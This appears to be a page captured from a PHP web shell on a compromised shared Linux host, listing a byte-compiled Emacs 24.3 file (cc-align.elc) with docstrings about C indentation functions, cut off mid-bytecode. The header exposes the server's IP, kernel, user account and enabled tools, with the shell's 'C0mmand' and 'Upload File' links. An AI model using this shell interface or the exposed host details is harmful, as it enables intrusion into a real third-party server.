Server IP : 111.118.215.189 / Your IP : 18.117.158.174 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/emacs/24.3/lisp/progmodes/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
;ELC ;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:09:18 2024 ;;; from file /builddir/build/BUILD/emacs-24.3/lisp/progmodes/cc-align.el ;;; in Emacs version 24.3.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\300\302!\210\300\303!\207" [require cc-defs cc-vars cc-engine] 2) #@854 Line up declaration continuation lines zero or one indentation step. For lines in the "header" of a definition, zero is used. For other lines, `c-basic-offset' is added to the indentation. E.g.: int neg (int i) <- c-lineup-topmost-intro-cont { return -i; } struct larch <- c-lineup-topmost-intro-cont { double height; } the_larch, <- c-lineup-topmost-intro-cont another_larch; <- c-lineup-topmost-intro-cont <--> c-basic-offset struct larch the_larch, <- c-lineup-topmost-intro-cont another_larch; <- c-lineup-topmost-intro-cont (This function is mainly provided to mimic the behavior of CC Mode 5.28 and earlier where this case wasn't handled consistently so that these lines could be analyzed as either topmost-intro-cont or statement-cont.) Works with: topmost-intro-cont. (defalias 'c-lineup-topmost-intro-cont #[(langelem) "\212\303 \210\214\211A:\203 A\242\202 A)\206 ed}\210\304 \210)`Sf\305>\2054 \205/ \306 ?\2054 \n)\207" [langelem c-overloadable-operators-regexp c-basic-offset beginning-of-line c-backward-sws (125 44) c-after-special-operator-id] 3 (#$ . 654)]) #@673 Line up the continuation lines of a DEFUN macro in the Emacs C source. These lines are indented as though they were `knr-argdecl-intro' lines. Return nil when we're not in such a construct. This function is for historical compatibility with how previous CC Modes (5.28 and earlier) indented such lines. Here is an example: DEFUN ("forward-char", Fforward_char, Sforward_char, 0, 1, "p", doc: /* Move point right N characters (left if N is negative). On reaching end of buffer, stop and signal error. */) (n) <- c-lineup-gnu-DEFUN-into-cont Lisp_Object n; <- c-lineup-gnu-DEFUN-into-cont Works with: topmost-intro-cont. (defalias 'c-lineup-gnu-DEFUN-intro-cont #[(langelem) "\212\302 \211A:\203 A\242\202 A)b\210\303\304!\205 \305\306!*\207" [case-fold-search langelem nil looking-at "\\<DEFUN\\>" c-calc-offset (knr-argdecl-intro)] 3 (#$ . 1821)]) (defalias 'c-block-in-arglist-dwim #[(arglist-start) "\306\236\206o \307\236\206o \310\236\206o \214 \212 b\210\311\210`)}\210 b\210\312\313\311\314#\203G \315u\210\n\203: \214~\210\316 )\204A \311\317\320\217\203G \311u\210\202\"